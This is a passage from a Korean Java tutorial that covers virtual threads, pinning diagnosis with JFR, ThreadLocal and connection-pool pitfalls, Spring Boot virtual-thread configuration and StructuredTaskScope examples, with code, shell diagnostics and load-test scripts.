            byte[] raw = download(u);                 // I/O → 가상 스레드가 유리
            return CPU.submit(() -> resize(raw)).get(); // 계산 → 고정 풀로 위임
        })).toList();
}
한 줄 판단법 — “이 스레드는 대부분의 시간 동안 무엇을 하고 있나?” 기다리고 있다면 가상 스레드가 정답이고, 계산하고 있다면 코어 수만큼의 플랫폼 스레드 풀이 정답입니다. 이 질문 하나면 사례 A~D 를 전부 분류할 수 있습니다.

한 단계 더 — 컨티뉴에이션, 마법의 정체 🔴 고급

언마운트가 실제로 하는 일

가상 스레드가 socket.read() 를 부르면 대략 이런 일이 벌어집니다.

 1. JDK 내부의 소켓 구현이 "지금 읽을 게 없다"를 확인
 2. 파크(park) 요청 → Continuation.yield() 호출
 3. 지금까지 쌓인 스택 프레임을 힙의 StackChunk 객체로 복사
 4. 캐리어(ForkJoinPool worker)의 스택은 텅 비고 → 다음 작업을 집음
 5. 데이터가 도착하면 셀렉터가 이 가상 스레드를 다시 스케줄에 올림
 6. 아무 캐리어에나 마운트 — StackChunk 를 캐리어 스택으로 되돌림
 7. socket.read() 다음 줄부터 아무 일 없었다는 듯 계속 실행

핵심은 3번과 6번입니다.
  · 스택이 '옮길 수 있는 데이터'라서 가능한 일입니다
  · 옮기는 양은 '지금 쌓인 프레임'만큼이라 대개 아주 작습니다
  · 그래서 깊은 재귀 상태로 블로킹하면 언마운트 비용이 커집니다 ★

되돌아올 때 '같은 캐리어'라는 보장이 없습니다.
  → 캐리어 스레드에 묶인 상태(ThreadLocal 을 캐리어 기준으로 캐싱 등)를
    가정하는 코드는 전부 깨집니다. v03 에서 다룹니다.

직접 확인해 보기

public static void main(String[] args) throws Exception {
    var start = System.nanoTime();
    try (var ex = Executors.newVirtualThreadPerTaskExecutor()) {
        IntStream.range(0, 100_000).forEach(i ->
            ex.submit(() -> {
                Thread.sleep(Duration.ofSeconds(1));   // 1초 대기 10만 개
                return i;
            }));
    }
    System.out.printf("%.2fs%n", (System.nanoTime() - start) / 1e9);
}
//  결과: 약 1~2초.  플랫폼 스레드였다면 OutOfMemoryError 입니다.

// 스택 트레이스도 그대로 나옵니다 — 이게 리액티브와의 결정적 차이입니다
Thread.startVirtualThread(() -> { throw new IllegalStateException("여기"); });
//  Exception in thread "" java.lang.IllegalStateException: 여기
//      at Main.lambda$main$0(Main.java:12)      ← 내 코드가 그대로 보입니다
//  (리액터였다면 onErrorDropped 와 스케줄러 프레임만 잔뜩 보입니다)
이름을 안 붙이면 스택 트레이스가 "thread ..." 로 비어 나옵니다 — 가상 스레드는 기본 이름이 빈 문자열입니다. 로그에서 요청을 추적하려면 Thread.ofVirtual().name("req-", 0) 을 쓰거나, 더 나은 방법으로 ScopedValue 로 요청 ID 를 흘리세요(v06).
정리 — 가상 스레드는 블로킹할 때 스택을 힙으로 옮겨 OS 스레드를 놓아 주는 스레드입니다. 그래서 기다리는 일(I/O)에는 판이 바뀔 만큼 이득이고, 계산하는 일(CPU)에는 아무 이득이 없습니다. 만들 때는 Executors.newVirtualThreadPerTaskExecutor() 하나면 되고, 풀에 담지 말고 이름을 붙이는 것 두 가지만 지키면 됩니다.
MODERN 03

가상 스레드 실전 함정 — 켜고 나서 만나는 것들

가상 스레드를 켠 뒤 “오히려 느려졌다”는 신고는 거의 항상 같은 네 가지입니다 — 핀닝 · ThreadLocal 폭증 · 커넥션 풀 · 다운스트림 과부하. 네 가지 전부 증상이 아니라 원인을 재는 법이 있습니다. 그걸 먼저 손에 넣습니다.

핀닝 — 스택을 힙으로 옮길 수 없는 자리 정상 — 언마운트 됩니다 ① OrderController.get() ② OrderRepository.find() ③ SocketChannel.read() — 여기서 대기 프레임 세 개를 통째로 힙으로 옮기고 캐리어는 즉시 다른 요청을 받습니다 핀닝 — 옮길 수 없습니다 ① OrderController.get() ② synchronized (lock) { … } ← 모니터 보유 ③ SocketChannel.read() — 여기서 대기 모니터는 OS 스레드에 묶여 있어 못 옮깁니다 대기 내내 캐리어 한 자리가 잠깁니다 Java 24 (JEP 491) 이후 synchronized 안에서 블로킹해도 언마운트됩니다 즉 위 오른쪽 그림은 Java 24+ 에서 사라집니다 그래도 남는 원인 네이티브 프레임 안에서의 블로킹 (JNI · FFM 다운콜) 클래스 초기화(<clinit>) 중 블로킹 진단 — 감으로 찾지 말고 이벤트로 봅니다 Java 21~23: -Djdk.tracePinnedThreads=full · Java 24+: JFR 이벤트 jdk.VirtualThreadPinned (기존 플래그는 제거됨)
핀닝의 정의는 “캐리어를 붙잡은 채 블로킹하는 것” — Java 24 부터 원인의 90%가 런타임 업그레이드만으로 사라집니다.

① 핀닝 — 재는 법과 고치는 법

# ── Java 21~23 (플래그가 살아 있는 버전) ──────────────
java -Djdk.tracePinnedThreads=full -jar app.jar
#   핀닝될 때마다 스택을 통째로 찍습니다. 운영에는 부담이 큽니다.

# ── Java 24+ (★ 위 플래그는 제거됐습니다) ────────────
jcmd <pid> JFR.start name=pin settings=profile duration=120s \
     filename=/tmp/pin.jfr
jfr summary /tmp/pin.jfr | grep -i pinned
jfr print --events jdk.VirtualThreadPinned /tmp/pin.jfr | head -60
#   기본 임계값은 20ms — 그보다 오래 고정된 것만 기록됩니다

# 상시 관측: 애플리케이션 기동 시 JFR 을 얇게 켜 둡니다
java -XX:StartFlightRecording=settings=default,maxsize=200M,dumponexit=true \
     -jar app.jar
Java 24 이후 jdk.tracePinnedThreads 는 없습니다 — 예전 블로그를 보고 이 플래그를 넣으면 조용히 무시되거나 경고만 뜹니다. “켰는데 아무것도 안 나온다”의 절반이 이 경우입니다. 24 부터는 JFR 이 유일한 창구라고 외우세요.

고치는 순서 — 위에서부터

// ⓪ 런타임을 Java 24+ 로 (제일 싸고 확실합니다)
//    synchronized 로 인한 핀닝은 여기서 끝납니다.

// ① 그래도 못 올린다면: 내 코드의 synchronized → ReentrantLock
//    (모니터가 아니라 자바 객체이므로 언마운트 가능)
private final ReentrantLock lock = new ReentrantLock();
lock.lock();
try { callRemote(); }              // 블로킹해도 캐리어를 놓습니다
finally { lock.unlock(); }

// ② 라이브러리 내부라 못 고칠 때: 블로킹 구간만 플랫폼 스레드로 격리
//    (고정될 코드는 어차피 고정되니, 전용 풀에 가둡니다)
private static final ExecutorService ISLAND =
        Executors.newFixedThreadPool(20);          // = 커넥션 풀 크기
Order find(long id) throws Exception {
    return ISLAND.submit(() -> legacyDriver.query(id)).get();
    //  ↑ 플랫폼 스레드가 고정을 떠안고
    //  ↑ .get() 을 기다리는 가상 스레드는 캐리어를 반납합니다
}

// ③ 그래도 캐리어가 모자라면 상한만 임시로 올립니다 (근본 해결 아님)
//    -Djdk.virtualThreadScheduler.maxPoolSize=512

// ④ 마지막 카드: 논블로킹 드라이버(R2DBC 등) — 코드 스타일이 바뀝니다
②의 “섬 패턴”은 실측된 한 지점에만 씁니다 — JFR 로 확인하기 전에 여기저기 submit().get() 을 감으면 가상 스레드를 쓰면서 스레드 풀 시절로 되돌아간 최악의 조합이 됩니다. 섬의 크기는 반드시 커넥션 풀 크기와 같게 잡으세요.

② ThreadLocal 폭증 — 캐시로 쓰면 힙이 터집니다 🟡 중급

왜 갑자기 문제가 되나

// 스레드 풀 시절의 아주 흔한 최적화 — 무겁고 스레드 안전하지 않은 객체를
// 스레드마다 하나씩 만들어 재사용합니다.
private static final ThreadLocal<SimpleDateFormat> FMT =
        ThreadLocal.withInitial(() -> new SimpleDateFormat("yyyy-MM-dd"));

// 플랫폼 스레드 200개  →  인스턴스 200개.  괜찮습니다.
// 가상 스레드 100,000개 →  인스턴스 100,000개. ❌ 힙이 무너집니다.
//   · 게다가 가상 스레드는 재사용되지 않으므로 '캐시'로서 의미도 없습니다
//   · 매 작업마다 새로 만들고 버리는 것과 완전히 같습니다

// ✅ 해법 1 — 애초에 불변·스레드 안전한 것으로 바꾸기 (가장 좋습니다)
private static final DateTimeFormatter FMT =
        DateTimeFormatter.ofPattern("yyyy-MM-dd");   // 불변, 공유 안전

// ✅ 해법 2 — 컨텍스트 전달 목적이면 ScopedValue 로 (v06)
private static final ScopedValue<RequestCtx> CTX = ScopedValue.newInstance();

// ✅ 해법 3 — 진짜 풀링이 필요하면 명시적 객체 풀 (드뭅니다)
# Java 21+ : 가상 스레드가 ThreadLocal 을 쓰는 지점을 찾아 줍니다
java -Djdk.traceVirtualThreadLocals -jar app.jar
#   ThreadLocal.set() 이 호출될 때마다 스택을 찍습니다 (개발용)

힙에서 실제로 확인하기

# ① 지금 살아 있는 가상 스레드가 몇 개인가 — jstack 은 못 씁니다 ★
jcmd <pid> Thread.dump_to_file -format=json /tmp/vt.json
#   가상 스레드까지 포함한 전체 덤프입니다.
#   -format=text 도 가상 스레드를 포함하지만, 세고 묶으려면 json 이 편합니다.
#   (jstack · jcmd Thread.print 는 가상 스레드를 보여 주지 않습니다)

# 개수만 빠르게 세기
python3 -c "import json;d=json.load(open('/tmp/vt.json'));\
print(sum(len(c['threads']) for c in d['threadDump']['threadContainers']))"

# ② 무엇이 힙을 채우는지
jcmd <pid> GC.class_histogram | head -25
#   java.lang.ThreadLocal$ThreadLocalMap$Entry 가 상위에 보이면 범인입니다
#   jdk.internal.vm.StackChunk 가 크면 가상 스레드 스택 자체가 많은 것

# ③ 대기 중인 가상 스레드가 '어디서' 막혀 있나 (json 을 그룹핑)
jq -r '.threadDump.threadContainers[].threads[].stack[0]' /tmp/vt.json \
   | sort | uniq -c | sort -rn | head
#   → 한 지점에 수만 개가 몰려 있으면 그곳이 진짜 병목입니다
덤프 하나로 병목이 보입니다 — 가상 스레드는 개수가 많아서 오히려 “어디서 기다리는가”의 분포가 선명하게 나옵니다. 스택 최상단만 뽑아 세면 커넥션 대기 · 외부 API · 락 중 어느 것인지 1분 안에 판정됩니다.

③④ 새 병목 — 커넥션 풀과 다운스트림 🔴 고급

스레드가 공짜여도 커넥션은 공짜가 아닙니다

[켜기 전]  톰캣 200 스레드 → DB 커넥션 20개
           동시 요청 200개가 상한.  커넥션 대기는 최대 180개.

[켜고 나서] 가상 스레드 무제한 → DB 커넥션 여전히 20개
           동시 요청 10,000개가 들어오면
           9,980개가 HikariCP 큐에서 대기 →
           connectionTimeout(기본 30초) 이 지나면 전부 예외
           ❌ "느려졌다"가 아니라 "무더기로 실패한다"로 나타납니다

즉, 병목이 사라진 게 아니라 병목이 '뒤로 밀린' 것입니다.
  · 예전: 톰캣 스레드 풀이 자연스러운 방파제 역할을 했습니다
  · 지금: 그 방파제가 사라져서 부하가 통째로 DB 를 때립니다

★ 그래서 가상 스레드 전환의 진짜 작업은
   "스레드 풀을 지우는 것"이 아니라 "방파제를 옮겨 세우는 것"입니다.
# 최소한 이 세 개는 같이 조정합니다
spring:
  datasource:
    hikari:
      maximum-pool-size: 30        # 코어·DB 사양 기준으로 (무작정 키우면 DB 가 죽습니다)
      connection-timeout: 2000     # ★ 30초는 너무 깁니다. 빨리 실패시키세요
server:
  tomcat:
    max-connections: 20000         # 가상 스레드에서는 여기가 진짜 상한
    accept-count: 200

방파제 다시 세우기 — 경계마다 세마포어

@Component
public class PartnerApiClient {

    // 협력사 API 는 동시 50건까지만 — 스레드 풀의 자리를 세마포어가 대신합니다
    private final Semaphore limit = new Semaphore(50);
    private final RestClient rest;

    public Quote quote(Req req) {
        boolean got;
        try {
            // ★ 무한 대기 금지 — 대기에도 상한을 둡니다
            got = limit.tryAcquire(300, TimeUnit.MILLISECONDS);
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            throw new IllegalStateException(e);
        }
        if (!got) throw new TooManyRequestsException("협력사 호출 포화");

        try {
            return rest.post().uri("/quote").body(req)
                       .retrieve().body(Quote.class);
        } finally {
            limit.release();
        }
    }
}

// 관측 — 대기 길이를 지표로 뽑아 두면 사고 때 바로 보입니다
Gauge.builder("partner.permits.available", limit, Semaphore::availablePermits)
     .register(registry);
세마포어는 “요청당 하나”가 아니라 “자원당 하나”입니다 — DB · 협력사 A · 협력사 B · 파일 저장소마다 따로 둡니다. 하나로 묶으면 느린 협력사 하나가 전부를 막는, 스레드 풀 시절과 똑같은 문제로 되돌아갑니다.
정리 — 가상 스레드를 켠 뒤 할 일은 네 가지입니다. 런타임을 24+ 로 올려 핀닝을 없애고, ThreadLocal 캐시를 걷어내고, 커넥션 풀과 타임아웃을 다시 잡고, 자원마다 세마포어로 방파제를 세우는 것. 진단은 전부 JFR + jcmd Thread.dump_to_file -format=json 두 도구면 됩니다.
MODERN 04

Spring Boot 에서 가상 스레드 — 설정 한 줄이 바꾸는 것

spring.threads.virtual.enabled=true 한 줄로 켜집니다. 문제는 이 한 줄이 정확히 무엇을 바꾸고 무엇은 안 바꾸는지 모른 채 켜는 것입니다. 여기서는 교체되는 빈 목록을 하나씩 확인하고, 언제 리액티브 대신 Loom 을 고를지 판단 기준을 세웁니다.

요청 하나를 처리하는 세 가지 모델 동시 수만 건+ 동시 수백 건 코드: 동기 · 스택 추적 정상 코드 난이도 → 연산자 체인 · 디버깅 어려움 동기 코드로 높은 동시성 — 이 칸 ③ 가상 스레드 (Loom) 기존 코드 그대로 · 백프레셔는 직접 ② 리액티브 (WebFlux) 백프레셔 공짜 · 팀 전체가 배워야 ① 스레드 풀 (전통) — 수백 건이 한계 지금도 대부분의 서비스에 충분합니다 설정 한 줄로 전환 ②→③ 되돌아오는 팀 — 유지보수 비용 고르는 한 줄 동시 수백 건 이하 = ①로 충분 · 동시 수천~수만 건 + 요청·응답형 = ③ · 스트리밍·백프레셔가 본질이면 ② ②에서 ③으로 되돌아오는 팀이 많습니다 — 성능이 아니라 유지보수 비용 때문입니다
③은 ②의 성능을 ①의 코드로 얻는 선택입니다 — 대신 백프레셔는 직접 만들어야 합니다.

그 한 줄이 실제로 교체하는 빈들

# application.yml — Spring Boot 3.2+ (4.x 동일)
spring:
  threads:
    virtual:
      enabled: true
무엇이어떻게 바뀌나
톰캣/제티 요청 처리프로토콜 핸들러의 실행자를 가상 스레드로
applicationTaskExecutorSimpleAsyncTaskExecutor(가상) — @Async
taskSchedulerSimpleAsyncTaskScheduler — @Scheduled
Kafka·RabbitMQ 리스너컨테이너 실행자가 가상 스레드로
Redis(Lettuce) 등스타터가 제공하는 실행자만 교체
Reactor 스케줄러안 바뀝니다 — WebClient 는 그대로
ForkJoinPool.commonPool안 바뀝니다 — parallelStream 그대로
내가 만든 ExecutorService안 바뀝니다 — 직접 교체
확인하는 가장 빠른 방법 — 컨트롤러에 한 줄 넣고 로그를 봅니다. log.info("{}", Thread.currentThread()) → VirtualThread[#42]/runnable@ForkJoinPool-1-worker-3 이면 켜진 것, Thread[#42,http-nio-8080-exec-1,...] 이면 안 켜진 것입니다.

직접 지정할 때 — 그리고 남는 손잡이

@Configuration
public class VirtualThreadConfig {

    // ① 톰캣 요청 처리 실행자를 직접 갈아끼우기
    @Bean
    TomcatProtocolHandlerCustomizer<?> protocolHandlerVirtualThreads() {
        return handler -> handler.setExecutor(
                Executors.newVirtualThreadPerTaskExecutor());
    }

    // ② @Async 용 실행자 — 이름을 붙여 두면 로그 추적이 삽니다
    @Bean(name = "applicationTaskExecutor")
    AsyncTaskExecutor applicationTaskExecutor() {
        var ex = new SimpleAsyncTaskExecutor("async-");
        ex.setVirtualThreads(true);
        ex.setConcurrencyLimit(500);   // ★ 무제한 생성 방지 (기본은 무제한)
        return ex;
    }

    // ③ CPU 작업 전용 — 여기는 절대 가상 스레드로 두지 않습니다
    @Bean("cpuExecutor")
    ExecutorService cpuExecutor() {
        return Executors.newFixedThreadPool(
                Runtime.getRuntime().availableProcessors());
    }
}
# 가상 스레드에서 의미가 달라지는 톰캣 설정
server:
  tomcat:
    threads:
      max: 200          # ← 실행자를 교체했으므로 사실상 무의미해집니다
    max-connections: 20000   # ★ 이제 여기가 진짜 동시 처리 상한
    accept-count: 200        #   대기 큐 길이
    connection-timeout: 5s
server.tomcat.threads.max 를 계속 튜닝하는 실수 — 가상 스레드로 교체하면 그 풀 자체가 쓰이지 않습니다. 동시 처리 상한은 max-connections 로 옮겨 갑니다. 예전 설정을 그대로 두고 “왜 200 이상 안 올라가지”를 찾는 경우가 많습니다.

부하 테스트 — 숫자로 확인하는 법 🟡 중급

재현 가능한 실험 설계

// 외부 API 지연을 흉내 내는 엔드포인트 — 가상 스레드의 효과가 가장 잘 보이는 형태
@RestController
class DelayController {
    @GetMapping("/slow")
    String slow() throws InterruptedException {
        Thread.sleep(200);            // 협력사 API 200ms 라고 가정
        return "ok";
    }
}
# k6 로 동시 사용자를 계단식으로 올립니다
cat > load.js <<'EOF'
import http from 'k6/http';
export const options = { stages: [
  { duration: '30s', target: 200 },
  { duration: '30s', target: 1000 },
  { duration: '30s', target: 3000 },
]};
export default function () { http.get('http://localhost:8080/slow'); }
EOF
k6 run load.js

# 두 번 돌립니다 — 켜기 전 / 켠 뒤
SPRING_THREADS_VIRTUAL_ENABLED=false java -jar app.jar
SPRING_THREADS_VIRTUAL_ENABLED=true  java -jar app.jar
봐야 할 지표는 TPS 가 아니라 p99 와 에러율입니다 — 스레드 풀은 상한에 닿는 순간 TPS 는 유지되면서 대기 시간만 폭증합니다. 그래프에서 p99 가 꺾이는 지점이 그 상한이고, 가상 스레드는 그 꺾임이 훨씬 뒤로 밀립니다.

보통 이런 모양이 나옵니다

동시 사용자스레드 풀 200가상 스레드
200p99 ≈ 210msp99 ≈ 210ms
500p99 ≈ 620msp99 ≈ 215ms
1,000p99 ≈ 1.2sp99 ≈ 230ms
3,000타임아웃 발생p99 ≈ 300ms
메모리(RSS)스레드 200개분 스택거의 증가 없음

위 표는 “기다리기만 하는 엔드포인트”라는 이상적인 조건의 값입니다. 실제 서비스는 중간에 DB 커넥션·외부 API 한도가 끼어들어 그 한도가 새 상한이 됩니다 — v03 에서 본 그대로입니다.

실험이 거짓말을 하는 두 가지 경우 ★
① 부하 생성기가 먼저 죽는 경우 — k6 를 서버와 같은 장비에서 돌리면 3,000 동시부터 클라이언트가 병목입니다. 반드시 분리하세요.
② JIT 예열 전에 측정한 경우 — 첫 30초는 버리고 재세요. AOT 캐시를 쓰면 이 구간이 줄어듭니다(v11).

실무에선 이렇게 — 켜고 나서 반드시 손보는 것 🔴 고급

로그의 MDC 가 사라지는 문제

// MDC 는 ThreadLocal 기반입니다. 가상 스레드 자체는 문제없지만,
// '다른 스레드로 넘길 때' 자동 전파되지 않는 것은 예전과 똑같습니다.

// ❌ @Async 로 넘어가면 traceId 가 비어 있습니다
@Async void notifyLater(Order o) { log.info("발송");  /* traceId 없음 */ }

// ✅ 방법 1 — 데코레이터로 복사해 넘깁니다 (기존 방식 그대로 동작)
@Bean
AsyncTaskExecutor applicationTaskExecutor() {
    var ex = new SimpleAsyncTaskExecutor("async-");
    ex.setVirtualThreads(true);
    ex.setTaskDecorator(task -> {
        var ctx = MDC.getCopyOfContextMap();
        return () -> {
            if (ctx != null) MDC.setContextMap(ctx);
            try { task.run(); } finally { MDC.clear(); }
        };
    });
    return ex;
}

// ✅ 방법 2 — Micrometer Context Propagation 을 쓰면 자동화됩니다
//    (Spring Boot 가 관측 컨텍스트를 함께 옮겨 줍니다)

// ✅ 방법 3 (Java 25) — 애초에 ScopedValue 로 흘립니다 → v06
MDC.clear() 를 빼먹어도 예전만큼 위험하진 않습니다 — 가상 스레드는 재사용되지 않아 다음 요청에 값이 새지 않습니다. 다만 플랫폼 스레드로 되돌아가는 경로(CPU 전용 풀, 라이브러리 내부 풀)에서는 여전히 새므로 finally 는 그대로 두세요.

켜기 전 최종 점검표

❌ 이 상태로 켜면 사고가 납니다
· JDK 21~23 인데 JDBC 드라이버가 낡음  → 핀닝
· HikariCP connectionTimeout=30s     → 폭주 시 무더기 대기
· 외부 API 호출에 타임아웃이 없음      → 스레드는 공짜라 무한히 쌓임
· ThreadLocal 로 무거운 객체를 캐싱    → 힙 폭증
· 재시도 로직에 상한이 없음            → 다운스트림 붕괴 가속
· CPU 작업까지 같은 실행자로           → 이득 없이 컨텍스트만 증가
✅ 이렇게 하고 켭니다
· JDK 24+ (가능하면 25 LTS)
· 모든 외부 호출에 connect/read 타임아웃 명시
· 자원(DB·API·저장소)마다 Semaphore 로 동시 한도
· HikariCP: max-pool-size 재산정 + timeout 1~3초
· ThreadLocal 캐시 제거 (불변 객체 또는 ScopedValue)
· CPU 작업은 별도 고정 풀로 분리
· JFR 상시 기록 + jdk.VirtualThreadPinned 감시
· 카나리 1대에 먼저 켜고 p99·에러율 비교
롤백이 쉬운 것이 이 기능의 큰 장점입니다 — 환경 변수 SPRING_THREADS_VIRTUAL_ENABLED=false 로 재배포 없이 되돌릴 수 있습니다(재시작만 필요). 그래서 카나리 한 대에 먼저 켜는 방식이 잘 맞습니다.
정리 — spring.threads.virtual.enabled=true 는 톰캣 요청 처리 · @Async · @Scheduled · 메시지 리스너를 가상 스레드로 바꿉니다. Reactor 스케줄러와 내가 만든 실행자는 안 바뀝니다. 켜기 전에 타임아웃 · 세마포어 · 커넥션 풀 세 가지를 손보고, 카나리 한 대에서 p99 와 에러율로 확인한 뒤 넓히세요.
MODERN 05

구조적 동시성 — 동시 작업을 try 블록처럼 묶기

ExecutorService 로 세 개를 동시에 던지면, 그 셋은 서로 남남이고 부모와도 남남입니다. 하나가 터져도 나머지는 계속 돌고, 요청이 취소돼도 아무도 모릅니다. 구조적 동시성은 그 셋을 하나의 단위로 묶어 다 성공하거나 다 정리되거나를 보장합니다.

팬아웃 두 가지 — 관계가 없을 때와 있을 때 ① ExecutorService — 서로 남남 요청 스레드 사용자 조회 계속 돕니다 주문 조회 예외 발생 포인트 조회 계속 돕니다 부모와도, 서로와도 연결이 없습니다 하나가 터져도 나머지는 커넥션을 쥔 채 끝까지 돕니다 — 손으로 cancel 해야 합니다 ② StructuredTaskScope — 부모·자식 스코프 (부모) 사용자 조회 자동 취소됨 주문 조회 예외 발생 포인트 조회 자동 취소됨 실패가 형제에게 인터럽트로 전파됩니다 join() 이 돌아오면 살아 있는 자식은 0 개 스코프 전체에 타임아웃도 한 번에 겁니다 try-with-resources 와 같은 규칙을 동시성에 적용한 것입니다 블록 안에서 시작한 일은 블록을 벗어나기 전에 끝나거나 취소된다 — 그래서 '구조적'입니다 덤으로 스레드 덤프(jcmd Thread.dump_to_file)에 부모·자식 관계가 그대로 찍혀 장애 분석이 쉬워집니다 주의 — 2026-08 기준 이 API 는 아직 프리뷰입니다. --enable-preview 없이는 컴파일되지 않습니다
구조적 동시성의 약속은 성능이 아니라 “새는 작업이 없다”입니다 — 취소와 타임아웃이 공짜로 따라옵니다.
버전 상태를 먼저 확인하세요 (2026-08 기준) — StructuredTaskScope 는 Java 19 에서 인큐베이터로 나와 21 에서 프리뷰(JEP 453)가 됐고, 24 에서 4차 프리뷰(JEP 499), 25 에서 5차 프리뷰(JEP 505), 26 에서 6차 프리뷰(JEP 525)로 이어졌습니다. 아직 정식 API 가 아니며 --enable-preview 가 필요하고, 21~24 와 25+ 의 API 모양이 다릅니다. 아래 코드는 Java 25 기준이며, 옛 형태도 함께 적어 둡니다. 공용 라이브러리에는 아직 넣지 마세요.

기본형 — 다 성공해야 한다

// Java 25 (JEP 505, preview)
import java.util.concurrent.StructuredTaskScope;

Dashboard load(long userId) throws Exception {
    try (var scope = StructuredTaskScope.open()) {   // 기본 = 전부 성공해야 함
        var user   = scope.fork(() -> userClient.find(userId));
        var orders = scope.fork(() -> orderClient.recent(userId));
        var point  = scope.fork(() -> pointClient.balance(userId));

        scope.join();          // 셋 다 끝날 때까지 — 하나라도 실패하면
                               // 나머지를 취소하고 여기서 예외를 던집니다
        return new Dashboard(user.get(), orders.get(), point.get());
    }   // 블록을 벗어나면 자식이 하나도 안 남습니다 (보장)
}

// ── Java 21~24 의 옛 형태 (블로그에서 이 모양을 자주 봅니다) ──
try (var scope = new StructuredTaskScope.ShutdownOnFailure()) {
    var user  = scope.fork(() -> userClient.find(id));
    var order = scope.fork(() -> orderClient.recent(id));
    scope.join();
    scope.throwIfFailed();                 // 25 에서는 join() 이 대신합니다
    return new Dashboard(user.get(), order.get());
}
fork() 가 돌려주는 것은 Future 가 아니라 Subtask 입니다 — get() 은 join() 이후에만 부를 수 있습니다. join() 전에 부르면 IllegalStateException 입니다. “끝난 다음에 결과를 읽는다”를 타입이 강제하는 설계입니다.

조이너 — 언제 join 을 끝낼지 정하기

import java.util.concurrent.StructuredTaskScope.Joiner;

// ① 가장 먼저 성공한 하나만 (여러 공급자 중 빠른 쪽)
try (var scope = StructuredTaskScope.open(
        Joiner.<Quote>anySuccessfulResultOrThrow())) {
    scope.fork(() -> providerA.quote(req));
    scope.fork(() -> providerB.quote(req));
    return scope.join();          // 먼저 성공한 값. 나머지는 자동 취소
}

// ② 전부 성공해야 하고, 결과를 스트림으로 받기
try (var scope = StructuredTaskScope.open(
        Joiner.<Item>allSuccessfulOrThrow())) {      // 타입 인자는 하나 — 결과는 Stream<Subtask<Item>>
    ids.forEach(id -> scope.fork(() -> itemClient.find(id)));
    return scope.join().map(Subtask::get).toList();
}

// ③ 실패해도 끝까지 모으기 (부분 성공 허용 — 대시보드 위젯 같은 것)
try (var scope = StructuredTaskScope.open(Joiner.<Widget>awaitAll())) {
    var a = scope.fork(() -> widgetA());
    var b = scope.fork(() -> widgetB());
    scope.join();                                 // 예외를 던지지 않습니다
    return List.of(
        a.state() == Subtask.State.SUCCESS ? a.get() : Widget.empty(),
        b.state() == Subtask.State.SUCCESS ? b.get() : Widget.empty());
}

취소와 타임아웃 — 스코프 단위로 겁니다 🟡 중급

타임아웃을 하나만 걸면 됩니다

// 스코프 설정으로 이름과 제한 시간을 함께
try (var scope = StructuredTaskScope.open(
        // 타입 인자는 "자식 작업의 결과 타입" — User·Order 를 함께 fork 하므로 Object
        Joiner.<Object>awaitAllSuccessfulOrThrow(),
        cf -> cf.withName("dashboard")
                .withTimeout(Duration.ofMillis(800)))) {

    var user  = scope.fork(() -> userClient.find(id));      // 각각 400ms 예상
    var order = scope.fork(() -> orderClient.recent(id));
    scope.join();      // 800ms 안에 다 못 끝나면 전체 취소 + 예외
    return new Dashboard(user.get(), order.get());
}

// ── 예전 방식과 비교 ──────────────────────────────
// CompletableFuture 였다면 이렇게 됩니다
var f1 = CompletableFuture.supplyAsync(() -> userClient.find(id), ex)
                          .orTimeout(800, MILLISECONDS);
var f2 = CompletableFuture.supplyAsync(() -> orderClient.recent(id), ex)
                          .orTimeout(800, MILLISECONDS);
CompletableFuture.allOf(f1, f2).join();
//  · 타임아웃을 '작업마다' 걸어야 하고
//  · f1 이 800ms 에 죽어도 f2 는 계속 돕니다 ❌
//  · f2 를 정리하려면 f2.cancel(true) 를 직접 불러야 합니다

예외를 다루는 법

try (var scope = StructuredTaskScope.open()) {
    var a = scope.fork(() -> mayFail());
    var b = scope.fork(() -> alsoMayFail());
    scope.join();
    return combine(a.get(), b.get());

} catch (StructuredTaskScope.FailedException e) {
    // 첫 실패의 원인이 cause 에 담겨 있습니다
    Throwable cause = e.getCause();
    if (cause instanceof HttpTimeoutException) return Dashboard.degraded();
    throw new ServiceException("대시보드 조회 실패", cause);

} catch (StructuredTaskScope.TimeoutException e) {
    // withTimeout 으로 걸었을 때 (java.util.concurrent.TimeoutException 이 아닙니다)
    return Dashboard.degraded();
}

// 취소는 인터럽트로 전달됩니다 — 자식 코드가 인터럽트를 삼키면 안 됩니다 ★
void child() {
    try { Thread.sleep(5000); }
    catch (InterruptedException e) {
        Thread.currentThread().interrupt();   // ✅ 반드시 복원
        throw new CancellationException();
    }
}
인터럽트를 삼키는 코드가 있으면 취소가 안 먹습니다 — catch (InterruptedException e) { } 처럼 비워 둔 곳이 하나라도 있으면 그 자식은 계속 돌고, 스코프의 close() 가 거기서 멈춥니다. 구조적 동시성을 도입할 때 가장 먼저 훑어야 할 코드가 빈 catch 블록입니다.

실무에선 이렇게 — 기존 팬아웃을 다시 쓰기 🔴 고급

상품 상세 페이지 조립 — 전/후

❌ 예전 — 새는 곳이 세 군데
ExecutorService ex = Executors.newVirtualThreadPerTaskExecutor();

Future<Product> p = ex.submit(() -> productApi.find(id));
Future<Stock>   s = ex.submit(() -> stockApi.of(id));
Future<Review>  r = ex.submit(() -> reviewApi.top(id));

try {
    return new Detail(p.get(2, SECONDS),
                      s.get(2, SECONDS),   // ← p 가 2초를 다 쓰면
                      r.get(2, SECONDS));  //   총 6초까지 갈 수 있습니다
} catch (TimeoutException e) {
    p.cancel(true); s.cancel(true); r.cancel(true);  // 빼먹기 쉽습니다
    throw e;
}
// ex 를 close 하지 않으면 그대로 샙니다
✅ 지금 — 새는 곳이 없습니다
try (var scope = StructuredTaskScope.open(
        Joiner.<Object>awaitAllSuccessfulOrThrow(),   // 자식 결과 타입이 제각각이라 Object
        cf -> cf.withName("product-detail")
                .withTimeout(Duration.ofSeconds(2)))) {

    var p = scope.fork(() -> productApi.find(id));
    var s = scope.fork(() -> stockApi.of(id));
    var r = scope.fork(() -> reviewApi.top(id));

    scope.join();                     // 전체 2초. 초과 시 셋 다 취소
    return new Detail(p.get(), s.get(), r.get());
}

도입 전에 알아야 할 제약

제약내용
아직 프리뷰25·26 모두 preview — --enable-preview 필수, API 가 또 바뀔 수 있습니다
스코프는 스레드 소유연 스레드에서만 fork/join 가능. 필드에 담아 공유 ❌
블록 안에서 닫힘try-with-resources 밖으로 Subtask 를 내보내지 마세요
중첩 가능스코프 안에서 또 스코프를 열면 트리가 됩니다 (권장)
가상 스레드 전제기본 팩토리가 가상 스레드 — 자식이 많아도 괜찮습니다
ScopedValue 상속부모의 스코프 값이 자식에게 자동 전파됩니다 (v06)
